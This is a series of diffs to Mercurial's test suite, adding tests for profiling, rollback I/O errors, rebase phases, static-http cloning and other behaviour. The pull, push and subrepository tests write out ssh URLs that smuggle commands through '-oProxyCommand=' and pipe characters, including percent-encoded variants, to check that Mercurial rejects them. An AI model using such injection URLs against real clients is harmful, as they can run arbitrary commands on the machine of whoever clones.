--- a/tests/test-profile.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-profile.t Mon Sep 18 11:51:41 2017 -0400 @@ -4,21 +4,22 @@ $ hg init a $ cd a +Function to check that statprof ran + $ statprofran () { + > egrep 'Sample count:|No samples recorded' > /dev/null + > } test --profile - $ hg st --profile 2>&1 | grep Sample - Sample count: \d+ (re) + $ hg st --profile 2>&1 | statprofran Abreviated version - $ hg st --prof 2>&1 | grep Sample - Sample count: \d+ (re) + $ hg st --prof 2>&1 | statprofran In alias - $ hg --config "alias.profst=status --profile" profst 2>&1 | grep Sample - Sample count: \d+ (re) + $ hg --config "alias.profst=status --profile" profst 2>&1 | statprofran #if lsprof @@ -81,26 +82,22 @@ statistical profiler works $ hg --profile sleep 2>../out - $ grep Sample ../out - Sample count: \d+ (re) + $ cat ../out | statprofran Various statprof formatters work $ hg --profile --config profiling.statformat=byline sleep 2>../out $ head -n 1 ../out % cumulative self - $ grep Sample ../out - Sample count: \d+ (re) + $ cat ../out | statprofran $ hg --profile --config profiling.statformat=bymethod sleep 2>../out $ head -n 1 ../out % cumulative self - $ grep Sample ../out - Sample count: \d+ (re) + $ cat ../out | statprofran $ hg --profile --config profiling.statformat=hotpath sleep 2>../out - $ grep Sample ../out - Sample count: \d+ (re) + $ cat ../out | statprofran $ hg --profile --config profiling.statformat=json sleep 2>../out $ cat ../out
--- a/tests/test-progress.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-progress.t Mon Sep 18 11:51:41 2017 -0400 @@ -312,6 +312,7 @@ from each other. $ rm -f loop.pyc + $ rm -Rf __pycache__ $ cat >> loop.py <<EOF > # use non-ascii characters as loop items of progress > loopitems = [
--- a/tests/test-pull.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-pull.t Mon Sep 18 11:51:41 2017 -0400 @@ -105,4 +105,30 @@ $ URL=`$PYTHON -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"` $ hg pull -q "$URL" +SEC: check for unsafe ssh url + + $ cat >> $HGRCPATH << EOF + > [ui] + > ssh = sh -c "read l; read l; read l" + > EOF + + $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path' + pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path' + pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg pull 'ssh://fakehost|touch${IFS}owned/path' + pulling from ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path + abort: no suitable response from remote hg! + [255] + $ hg pull 'ssh://fakehost%7Ctouch%20owned/path' + pulling from ssh://fakehost%7Ctouch%20owned/path + abort: no suitable response from remote hg! + [255] + + $ [ ! -f owned ] || echo 'you got owned' + $ cd ..
--- a/tests/test-push.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-push.t Mon Sep 18 11:51:41 2017 -0400 @@ -316,3 +316,29 @@ adding manifests adding file changes added 1 changesets with 1 changes to 1 files + +SEC: check for unsafe ssh url + + $ cat >> $HGRCPATH << EOF + > [ui] + > ssh = sh -c "read l; read l; read l" + > EOF + + $ hg -R test-revflag push 'ssh://-oProxyCommand=touch${IFS}owned/path' + pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg -R test-revflag push 'ssh://%2DoProxyCommand=touch${IFS}owned/path' + pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' + [255] + $ hg -R test-revflag push 'ssh://fakehost|touch${IFS}owned/path' + pushing to ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path + abort: no suitable response from remote hg! + [255] + $ hg -R test-revflag push 'ssh://fakehost%7Ctouch%20owned/path' + pushing to ssh://fakehost%7Ctouch%20owned/path + abort: no suitable response from remote hg! + [255] + + $ [ ! -f owned ] || echo 'you got owned'
--- a/tests/test-rebase-scenario-global.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-rebase-scenario-global.t Mon Sep 18 11:51:41 2017 -0400 @@ -375,6 +375,39 @@ $ cd .. +Check that temporary bundle doesn't lose phase when not using generaldelta + + $ hg --config format.usegeneraldelta=no init issue5678 + $ cd issue5678 + $ grep generaldelta .hg/requires + [1] + $ echo a > a + $ hg ci -Aqm a + $ echo b > b + $ hg ci -Aqm b + $ hg co -q '.^' + $ echo c > c + $ hg ci -Aqm c + $ hg phase --public + $ hg log -G -T '{rev}:{node|shortest} {phase} {desc}\n' + @ 2:d36c public c + | + | o 1:d2ae draft b + |/ + o 0:cb9a public a + + $ hg rebase -s 1 -d 2 + rebasing 1:d2ae7f538514 "b" + saved backup bundle to $TESTTMP/issue5678/.hg/strip-backup/d2ae7f538514-2953539b-rebase.hg (glob) + $ hg log -G -T '{rev}:{node|shortest} {phase} {desc}\n' + o 2:c882 draft b + | + @ 1:d36c public c + | + o 0:cb9a public a + + $ cd .. + Test for revset We need a bit different graph
--- a/tests/test-revert-interactive.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-revert-interactive.t Mon Sep 18 11:51:41 2017 -0400 @@ -460,3 +460,40 @@ forget added file newfile (Yn)? y $ hg status ? newfile + +When a line without EOL is selected during "revert -i" (issue5651) + + $ cat <<EOF >> $HGRCPATH + > [experimental] + > %unset revertalternateinteractivemode + > EOF + + $ hg init $TESTTMP/revert-i-eol + $ cd $TESTTMP/revert-i-eol + $ echo 0 > a + $ hg ci -qAm 0 + $ printf 1 >> a + $ hg ci -qAm 1 + $ cat a + 0 + 1 (no-eol) + + $ hg revert -ir'.^' <<EOF + > y + > y + > EOF + reverting a + diff --git a/a b/a + 1 hunks, 1 lines changed + examine changes to 'a'? [Ynesfdaq?] y + + @@ -1,1 +1,2 @@ + 0 + +1 + \ No newline at end of file + revert this change to 'a'? [Ynesfdaq?] y + + $ cat a + 0 + + $ cd ..
--- a/tests/test-revlog-raw.py Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-revlog-raw.py Mon Sep 18 11:51:41 2017 -0400 @@ -144,12 +144,18 @@ text = None cachedelta = (deltaparent, rlog.revdiff(deltaparent, r)) flags = rlog.flags(r) - ifh = dlog.opener(dlog.indexfile, 'a+') - dfh = None - if not dlog._inline: - dfh = dlog.opener(dlog.datafile, 'a+') - dlog._addrevision(rlog.node(r), text, tr, r, p1, p2, flags, cachedelta, - ifh, dfh) + ifh = dfh = None + try: + ifh = dlog.opener(dlog.indexfile, 'a+') + if not dlog._inline: + dfh = dlog.opener(dlog.datafile, 'a+') + dlog._addrevision(rlog.node(r), text, tr, r, p1, p2, flags, + cachedelta, ifh, dfh) + finally: + if dfh is not None: + dfh.close() + if ifh is not None: + ifh.close() return dlog # Utilities to generate revisions for testing
--- a/tests/test-rollback.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-rollback.t Mon Sep 18 11:51:41 2017 -0400 @@ -210,3 +210,248 @@ abort: rollback is disabled because it is unsafe (see `hg help -v rollback` for information) [255] + + $ cd .. + +I/O errors on stdio are handled properly (issue5658) + + $ cat > badui.py << EOF + > import errno + > from mercurial.i18n import _ + > from mercurial import ( + > error, + > ui as uimod, + > ) + > + > def pretxncommit(ui, repo, **kwargs): + > ui.warn('warn during pretxncommit\n') + > + > def pretxnclose(ui, repo, **kwargs): + > ui.warn('warn during pretxnclose\n') + > + > def txnclose(ui, repo, **kwargs): + > ui.warn('warn during txnclose\n') + > + > def txnabort(ui, repo, **kwargs): + > ui.warn('warn during abort\n') + > + > class fdproxy(object): + > def __init__(self, ui, o): + > self._ui = ui + > self._o = o + > + > def __getattr__(self, attr): + > return getattr(self._o, attr) + > + > def write(self, msg): + > errors = set(self._ui.configlist('ui', 'ioerrors', [])) + > pretxncommit = msg == 'warn during pretxncommit\n' + > pretxnclose = msg == 'warn during pretxnclose\n' + > txnclose = msg == 'warn during txnclose\n' + > txnabort = msg == 'warn during abort\n' + > msgabort = msg == _('transaction abort!\n') + > msgrollback = msg == _('rollback completed\n') + > + > if pretxncommit and 'pretxncommit' in errors: + > raise IOError(errno.EPIPE, 'simulated epipe') + > if pretxnclose and 'pretxnclose' in errors: + > raise IOError(errno.EIO, 'simulated eio') + > if txnclose and 'txnclose' in errors: + > raise IOError(errno.EBADF, 'simulated badf') + > if txnabort and 'txnabort' in errors: + > raise IOError(errno.EPIPE, 'simulated epipe') + > if msgabort and 'msgabort' in errors: + > raise IOError(errno.EBADF, 'simulated ebadf') + > if msgrollback and 'msgrollback' in errors: + > raise IOError(errno.EIO, 'simulated eio') + > + > return self._o.write(msg) + > + > def uisetup(ui): + > class badui(ui.__class__): + > def write_err(self, *args, **kwargs): + > olderr = self.ferr + > try: + > self.ferr = fdproxy(self, olderr) + > return super(badui, self).write_err(*args, **kwargs) + > finally: + > self.ferr = olderr + > + > ui.__class__ = badui + > + > def reposetup(ui, repo): + > ui.setconfig('hooks', 'pretxnclose.badui', pretxnclose, 'badui') + > ui.setconfig('hooks', 'txnclose.badui', txnclose, 'badui') + > ui.setconfig('hooks', 'pretxncommit.badui', pretxncommit, 'badui') + > ui.setconfig('hooks', 'txnabort.badui', txnabort, 'badui') + > EOF + + $ cat >> $HGRCPATH << EOF + > [extensions] + > badui = $TESTTMP/badui.py + > EOF + +An I/O error during pretxncommit is handled + + $ hg init ioerror-pretxncommit + $ cd ioerror-pretxncommit + $ echo 0 > foo + $ hg -q commit -A -m initial + warn during pretxncommit + warn during pretxnclose + warn during txnclose + $ echo 1 > foo + $ hg --config ui.ioerrors=pretxncommit commit -m 'error during pretxncommit' + warn during pretxnclose + warn during txnclose + + $ hg commit -m 'commit 1' + nothing changed + [1] + + $ cd .. + +An I/O error during pretxnclose is handled + + $ hg init ioerror-pretxnclose + $ cd ioerror-pretxnclose + $ echo 0 > foo + $ hg -q commit -A -m initial + warn during pretxncommit + warn during pretxnclose + warn during txnclose + + $ echo 1 > foo + $ hg --config ui.ioerrors=pretxnclose commit -m 'error during pretxnclose' + warn during pretxncommit + warn during txnclose + + $ hg commit -m 'commit 1' + nothing changed + [1] + + $ cd .. + +An I/O error during txnclose is handled + + $ hg init ioerror-txnclose + $ cd ioerror-txnclose + $ echo 0 > foo + $ hg -q commit -A -m initial + warn during pretxncommit + warn during pretxnclose + warn during txnclose + + $ echo 1 > foo + $ hg --config ui.ioerrors=txnclose commit -m 'error during txnclose' + warn during pretxncommit + warn during pretxnclose + + $ hg commit -m 'commit 1' + nothing changed + [1] + + $ cd .. + +An I/O error writing "transaction abort" is handled + + $ hg init ioerror-msgabort + $ cd ioerror-msgabort + + $ echo 0 > foo + $ hg -q commit -A -m initial + warn during pretxncommit + warn during pretxnclose + warn during txnclose + + $ echo 1 > foo + $ hg --config ui.ioerrors=msgabort --config hooks.pretxncommit=false commit -m 'error during abort message' + warn during abort + rollback completed + abort: pretxncommit hook exited with status 1 + [255] + + $ hg commit -m 'commit 1' + warn during pretxncommit + warn during pretxnclose + warn during txnclose + + $ cd .. + +An I/O error during txnabort should still result in rollback + + $ hg init ioerror-txnabort + $ cd ioerror-txnabort + + $ echo 0 > foo + $ hg -q commit -A -m initial + warn during pretxncommit + warn during pretxnclose + warn during txnclose + + $ echo 1 > foo + $ hg --config ui.ioerrors=txnabort --config hooks.pretxncommit=false commit -m 'error during abort' + transaction abort! + rollback completed + abort: pretxncommit hook exited with status 1 + [255] + + $ hg commit -m 'commit 1' + warn during pretxncommit + warn during pretxnclose + warn during txnclose + + $ cd .. + +An I/O error writing "rollback completed" is handled + + $ hg init ioerror-msgrollback + $ cd ioerror-msgrollback + + $ echo 0 > foo + $ hg -q commit -A -m initial + warn during pretxncommit + warn during pretxnclose + warn during txnclose + + $ echo 1 > foo + + $ hg --config ui.ioerrors=msgrollback --config hooks.pretxncommit=false commit -m 'error during rollback message' + transaction abort! + warn during abort + abort: pretxncommit hook exited with status 1 + [255] + + $ hg verify + checking changesets + checking manifests + crosschecking files in changesets and manifests + checking files + 1 files, 1 changesets, 1 total revisions + + $ cd .. + +Multiple I/O errors after transaction open are handled. +This is effectively what happens if a peer disconnects in the middle +of a transaction. + + $ hg init ioerror-multiple + $ cd ioerror-multiple + $ echo 0 > foo + $ hg -q commit -A -m initial + warn during pretxncommit + warn during pretxnclose + warn during txnclose + + $ echo 1 > foo + + $ hg --config ui.ioerrors=pretxncommit,pretxnclose,txnclose,txnabort,msgabort,msgrollback commit -m 'multiple errors' + + $ hg verify + checking changesets + checking manifests + crosschecking files in changesets and manifests + checking files + 1 files, 2 changesets, 2 total revisions + + $ cd ..
--- a/tests/test-ssh-bundle1.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-ssh-bundle1.t Mon Sep 18 11:51:41 2017 -0400 @@ -461,7 +461,7 @@ $ hg pull --debug ssh://user@dummy/remote pulling from ssh://user@dummy/remote - running .* ".*/dummyssh" user@dummy ('|")hg -R remote serve --stdio('|") (re) + running .* ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re) sending hello command sending between command remote: 355
--- a/tests/test-ssh.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-ssh.t Mon Sep 18 11:51:41 2017 -0400 @@ -477,7 +477,7 @@ $ hg pull --debug ssh://user@dummy/remote pulling from ssh://user@dummy/remote - running .* ".*/dummyssh" user@dummy ('|")hg -R remote serve --stdio('|") (re) + running .* ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re) sending hello command sending between command remote: 355
--- a/tests/test-static-http.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-static-http.t Mon Sep 18 11:51:41 2017 -0400 @@ -156,4 +156,53 @@ $ hg clone static-http://localhost:$HGPORT/notarepo local3 abort: 'http://localhost:$HGPORT/notarepo' does not appear to be an hg repository! [255] + +Clone with tags and branches works + + $ hg init remote-with-names + $ cd remote-with-names + $ echo 0 > foo + $ hg -q commit -A -m initial + $ echo 1 > foo + $ hg commit -m 'commit 1' + $ hg -q up 0 + $ hg branch mybranch + marked working directory as branch mybranch + (branches are permanent and global, did you want a bookmark?) + $ echo 2 > foo + $ hg commit -m 'commit 2 (mybranch)' + $ hg tag -r 1 'default-tag' + $ hg tag -r 2 'branch-tag' + + $ cd .. + + $ hg clone static-http://localhost:$HGPORT/remote-with-names local-with-names + requesting all changes + adding changesets + adding manifests + adding file changes + added 5 changesets with 5 changes to 2 files (+1 heads) + updating to branch default + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + +Clone a specific branch works + + $ hg clone -r mybranch static-http://localhost:$HGPORT/remote-with-names local-with-names-branch + adding changesets + adding manifests + adding file changes + added 4 changesets with 4 changes to 2 files + updating to branch mybranch + 2 files updated, 0 files merged, 0 files removed, 0 files unresolved + +Clone a specific tag works + + $ hg clone -r default-tag static-http://localhost:$HGPORT/remote-with-names local-with-names-tag + adding changesets + adding manifests + adding file changes + added 2 changesets with 2 changes to 1 files + updating to branch default + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + $ killdaemons.py
--- a/tests/test-strip.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-strip.t Mon Sep 18 11:51:41 2017 -0400 @@ -1097,3 +1097,25 @@ 112478962961147124edd43549aedd1a335e44bf 0 {426bada5c67598ca65036d57d9e4b64b0c1ce7a0} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'replace', 'user': 'test'} 08ebfeb61bac6e3f12079de774d285a0d6689eba 0 {426bada5c67598ca65036d57d9e4b64b0c1ce7a0} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'replace', 'user': 'test'} 26805aba1e600a82e93661149f2313866a221a7b 0 {112478962961147124edd43549aedd1a335e44bf} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'replace', 'user': 'test'} + $ cd .. + +Test that obsmarkers are restored even when not using generaldelta + + $ hg --config format.usegeneraldelta=no init issue5678 + $ cd issue5678 + $ cat >> .hg/hgrc <<EOF + > [experimental] + > evolution=all + > EOF + $ echo a > a + $ hg ci -Aqm a + $ hg ci --amend -m a2 + $ hg debugobsolete + cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 489bac576828490c0bb8d45eac9e5e172e4ec0a8 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'} + $ hg strip . + 0 files updated, 0 files merged, 1 files removed, 0 files unresolved + saved backup bundle to $TESTTMP/issue5678/.hg/strip-backup/489bac576828-bef27e14-backup.hg (glob) + $ hg unbundle -q .hg/strip-backup/* + $ hg debugobsolete + cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b 489bac576828490c0bb8d45eac9e5e172e4ec0a8 0 (Thu Jan 01 00:00:00 1970 +0000) {'user': 'test'} + $ cd ..
--- a/tests/test-subrepo-git.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-subrepo-git.t Mon Sep 18 11:51:41 2017 -0400 @@ -1182,3 +1182,34 @@ pwned: you asked for it #endif + +test for ssh exploit with git subrepos 2017-07-25 + + $ hg init malicious-proxycommand + $ cd malicious-proxycommand + $ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub + $ git init s + Initialized empty Git repository in $TESTTMP/tc/malicious-proxycommand/s/.git/ + $ cd s + $ git commit --allow-empty -m 'empty' + [master (root-commit) 153f934] empty + $ cd .. + $ hg add .hgsub + $ hg ci -m 'add subrepo' + $ cd .. + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepository "s") + [255] + +also check that a percent encoded '-' (%2D) doesn't work + + $ cd malicious-proxycommand + $ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub + $ hg ci -m 'change url to percent encoded' + $ cd .. + $ rm -r malicious-proxycommand-clone + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepository "s") + [255]
--- a/tests/test-subrepo-svn.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-subrepo-svn.t Mon Sep 18 11:51:41 2017 -0400 @@ -639,3 +639,43 @@ $ hg update -q -C '.^1' $ cd ../.. + +SEC: test for ssh exploit + + $ hg init ssh-vuln + $ cd ssh-vuln + $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub + $ svn co --quiet "$SVNREPOURL"/src s + $ hg add .hgsub + $ hg ci -m1 + $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub + $ hg ci -m2 + $ cd .. + $ hg clone ssh-vuln ssh-vuln-clone + updating to branch default + abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepository "s") + [255] + +also check that a percent encoded '-' (%2D) doesn't work + + $ cd ssh-vuln + $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub + $ hg ci -m3 + $ cd .. + $ rm -r ssh-vuln-clone + $ hg clone ssh-vuln ssh-vuln-clone + updating to branch default + abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepository "s") + [255] + +also check that hiding the attack in the username doesn't work: + + $ cd ssh-vuln + $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20foo@example.com/nested" > .hgsub + $ hg ci -m3 + $ cd .. + $ rm -r ssh-vuln-clone + $ hg clone ssh-vuln ssh-vuln-clone + updating to branch default + abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned foo@example.com/nested' (in subrepository "s") + [255]
--- a/tests/test-subrepo.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-subrepo.t Mon Sep 18 11:51:41 2017 -0400 @@ -1789,3 +1789,77 @@ +bar $ cd .. + +test for ssh exploit 2017-07-25 + + $ cat >> $HGRCPATH << EOF + > [ui] + > ssh = sh -c "read l; read l; read l" + > EOF + + $ hg init malicious-proxycommand + $ cd malicious-proxycommand + $ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub + $ hg init s + $ cd s + $ echo init > init + $ hg add + adding init + $ hg commit -m init + $ cd .. + $ hg add .hgsub + $ hg ci -m 'add subrepo' + $ cd .. + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepository "s") + [255] + +also check that a percent encoded '-' (%2D) doesn't work + + $ cd malicious-proxycommand + $ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub + $ hg ci -m 'change url to percent encoded' + $ cd .. + $ rm -r malicious-proxycommand-clone + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepository "s") + [255] + +also check for a pipe + + $ cd malicious-proxycommand + $ echo 's = [hg]ssh://fakehost|touch${IFS}owned/path' > .hgsub + $ hg ci -m 'change url to pipe' + $ cd .. + $ rm -r malicious-proxycommand-clone + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: no suitable response from remote hg! + [255] + $ [ ! -f owned ] || echo 'you got owned' + +also check that a percent encoded '|' (%7C) doesn't work + + $ cd malicious-proxycommand + $ echo 's = [hg]ssh://fakehost%7Ctouch%20owned/path' > .hgsub + $ hg ci -m 'change url to percent encoded pipe' + $ cd .. + $ rm -r malicious-proxycommand-clone + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: no suitable response from remote hg! + [255] + $ [ ! -f owned ] || echo 'you got owned' + +and bad usernames: + $ cd malicious-proxycommand + $ echo 's = [hg]ssh://-oProxyCommand=touch owned@example.com/path' > .hgsub + $ hg ci -m 'owned username' + $ cd .. + $ rm -r malicious-proxycommand-clone + $ hg clone malicious-proxycommand malicious-proxycommand-clone + updating to branch default + abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned@example.com/path' (in subrepository "s") + [255]
--- a/tests/test-tags.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-tags.t Mon Sep 18 11:51:41 2017 -0400 @@ -381,7 +381,7 @@ $ hg blackbox -l 6 1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> tags - 1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> couldn't write cache/hgtagsfnodes1: [Errno 13] Permission denied: '$TESTTMP/t2/.hg/cache/hgtagsfnodes1' + 1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> couldn't write cache/hgtagsfnodes1: [Errno *] * (glob) 1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> 2/3 cache hits/lookups in * seconds (glob) 1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> writing .hg/cache/tags2-visible with 1 tags 1970/01/01 00:00:00 bob @b968051b5cf3f624b771779c6d5f84f1d4c3fb5d (5000)> tags exited 0 after * seconds (glob)
--- a/tests/test-username-newline.t Mon Jul 31 12:18:42 2017 -0300 +++ b/tests/test-username-newline.t Mon Sep 18 11:51:41 2017 -0400 @@ -14,10 +14,12 @@ $ rm .hg/hgrc $ HGUSER=`(echo foo; echo bar2)` hg ci -Am m + adding a abort: username 'foo\nbar2' contains a newline [255] $ hg ci -Am m -u "`(echo foo; echo bar3)`" + adding a transaction abort! rollback completed abort: username 'foo\nbar3' contains a newline!